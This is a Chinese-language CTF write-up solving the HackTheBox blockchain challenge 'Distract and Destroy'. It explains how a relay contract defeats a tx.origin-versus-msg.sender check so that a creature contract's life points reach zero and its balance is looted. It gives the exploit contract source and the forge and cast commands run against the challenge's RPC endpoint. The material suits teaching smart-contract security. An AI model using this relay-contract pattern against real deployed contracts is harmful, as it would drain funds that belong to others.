htb—ctf-blockchain/Distract_and Destroy

ctf
6.5k words

初始化
创建了一个Creature的类,加以调用,这个部分没啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
Creature public immutable TARGET;

constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}

function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}

需要关注的的是这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
uint256 public lifePoints;
address public aggro;

constructor() payable {
lifePoints = 1000;
}

function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}

if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}

function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}

function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}

这里它给一个变量赋值了1000,也就是游戏里怪物的血量,在初始化类中它直接调用的这里创建了一个1000hp的怪物。

1
2
3
constructor() payable {
lifePoints = 1000;
}

然后是攻击部分,这里函数允许接受一个uint256的数字变量

这里在初次调用attack()时,首先判断aggro是否为空,如为空则将第一个攻击函数调用者的地址赋予它。

这里可以把aggro看作是生物的仇恨目标,谁先发起攻击,他就一直仇恨谁。

在之后的判断的逻辑中需要满足,后来攻击者的地址不能等于第一个攻击者的地址。

1
2
3
4
5
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
...

其次是主要攻击部分,这里引入了一个_isOffBalance()函数返回布尔,当达成条件时

即可让lifePointes减少对应的hp也就是_damage变量lifePoints -= _damage

1
2
3
4
5
6
    if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}

当满足_isOffBalance()以及用正常地址调用合约时,便可减少怪物血量

所以接下来看_isOffBalance()是如何构造的

1
2
3
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}

他在这里用tx.origin != msg.sender做对比,当两个值不相等时便返回true

这里的tx.origin是合约初始调用地址

msg.sender则是最近发送者的合约地址。

用一个简单的合约调用链来看下,方便理解

EOA —> 合约A —>合约B

这里EOA是我们的原始地址

举个例子,如果我们的原始合约地址是0x0010

当在调用合约A时,合约A里两个变量:

msg.sender=0x0010

tx.origin=0x0010

此时如果我们通过合约A再调用合约B

在合约B中看两个变量:

1
2
3
4
5

msg.sender=0x0011 #<-这个是合约A的合约地址

tx.origin=0x0010

可以发现在合约B中的msg.sender变成了合约A的地址,msg.sender代表的是最近的调用者合约地址

而tx.origin则是不会变的,依旧是EOA最初的地址,tx.origin代表的就是原始合约地址

这是两者最显著的区别。

再回过头去看这个函数,其实就是原始调用地址不能等于最近调用者的合约地址。

1
2
3
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}

简单的说,不可以直接用原始合约来调用这个合约

要用中间在做一层合约,去调用这个合约,即刻达成返回true,就像下面这样

EOA —> 合约A —>合约B

为此我们需要构造一个合约来利用

除此之外,我们还需要关注之前的aggro != msg.sender也要满足

至此我们现在需要满足以下几个条件,即可发起攻击:

1.为满足aggro != msg.sender,我们需要先用一个诱饵地址去吸引仇恨

2.在满足1的前提下,为满足tx.origin != msg.sender须通过一个新合约去调用这个游戏的合约。

可能有师傅条件一多就有点混了,会想用户和合约中继分别发起攻击,不分前后顺序可不可以?

答案是不行

原因是,虽然不分前后顺序确实都可以满足aggro != msg.sender,但是却无法满足tx.origin != msg.sender

如果首先发起攻击请求的是中继合约

1.aggro目标指向了中继合约用户,然后aggro != msg.senderfalse

2.再EOA发起,aggro != msg.senderTrue,但是这里tx.origin != msg.sender会false,因为首先tx.origin代表的合约原始地址,msg.sender则是距离游戏合约最近一个调用的地址,这里因为本次调用者是EOA,导致原始调用是EOA的同时距离最近调用者也是EOA。所以俩值一毛一样了..

如果顺序反过来,由EOA先调用,再调用中继合约

1.aggro目标指向了EOA用户,然后aggro != msg.senderfalse

2.再用中继合约,tx.origin != msg.sendertx.origin等于原始调用者EOA,msg.sender等于中继合约,于是True,所以可以发起攻击。

ez_image


中继合约构造

1.首先我们要构造一个基于本游戏合约的中继合约需要引入他的对象,其实有点类似于java那种引入一个外部库的类,然后用地址将其实例化。

我们先看下游戏自己的sol咋写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
uint256 public lifePoints;
address public aggro;

constructor() payable {
lifePoints = 1000;
}

function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}

if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}

function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}

function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}

然后我是这么写的,引入Creature.sol的Creature合约对象,然后给新合约起个名叫flower(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ cat src/attc.sol 
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract flower{
Creature public creture;

constructor (Creature _creature){
creture = _creature;
}

function attackA(uint256 _damage) external{
creture.attack(_damage);
}
}

给了一个attck让他来执行攻击,这里再加个loot也行,但是我懒


合约构造与使用

1.首先用forge初始化一下合约目录

1
2
3
4
5
6
└─$ ~/tools/blockchain/forge init --force
Target directory is not empty, but `--force` was specified
Initializing /home/xxxx/Desktop/blockchain_distract_and_destroy...
Installing forge-std in /home/xxxx/Desktop/blockchain_distract_and_destroy/lib/forge-std (url: Some("https://github.com/foundry-rs/forge-std"), tag: None)
Installed forge-std v1.7.6
Initialized forge project

可以看到当前目录下多了不少文件夹

1
2
└─$ ls                                
cache foundry.toml lib out README.md script src test

把我们的.sol和Creature.sol一起丢到./src目录下

2.在链上线合约

用游戏给我们的私钥进行签名认证。然后在将target address作为Creature _creature的生成初始化变量传入到里面的对象,这样我们的合约内的对象就与游戏的对象连到了一起。

1
2
3
4
5
6
7
8
forge create src/attc.sol:flower --rpc-url "http://94.237.52.48:35311/rpc" --private-key 0x8a277e85b81b9f66613490f2ba53a40bce5a65f6aecce9e06f3f59aa48ec271c --constructor-args 0x276B1607C79025D125E010740cA3ECD3656F9C54
[⠊] Compiling...
[⠰] Compiling 27 files with 0.8.24
[⠘] Solc 0.8.24 finished in 4.36s
Compiler run successful!
Deployer: 0x0B0c991073613cF3D49cf8360696F9046aEc871f
Deployed to: 0xF68da11A8582ba729e9d8724a4d02718D5fd5207
Transaction hash: 0x93d17dcc93173ea6c3390c25ee6e44930c5b602d90727bbc18af92271939f7b0

同时还会得到我们自己合约在链上的地址与哈希

Deployer: 部署者地址,即发起部署操作的账户地址。在这里是 >0x0B0c991073613cF3D49cf8360696F9046aEc871f。

Deployed to: 合约部署地址,即智能合约在区块链上的部署地址。在这里是 >0xF68da11A8582ba729e9d8724a4d02718D5fd5207。

Transaction hash: 交易哈希,即进行合约部署操作的交易的哈希值。它用于在区块链上查找该交易的详情和状态。在这里>0x93d17dcc93173ea6c3390c25ee6e44930c5b602d90727bbc18af92271939f7b0

调用部分

1.先用EOA,也就是用户直接对目标地址发起请求

1
cast send "0x6a1A3839D25AD2A31Ed0c1d5Cbc10e08958Bb05f" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "attack(uint256)" 0

2.再调用我们的合约,对我们上线的合约发起请求

1
cast send "0xF68da11A8582ba729e9d8724a4d02718D5fd5207" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "attackA(uint256)" 1000

3.没报错的话就是调用成功了,到此就可以调用游戏的合约的loot()结算了

1
cast send "0x6a1A3839D25AD2A31Ed0c1d5Cbc10e08958Bb05f" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "loot()"

访问http://url/flag拿flag结束了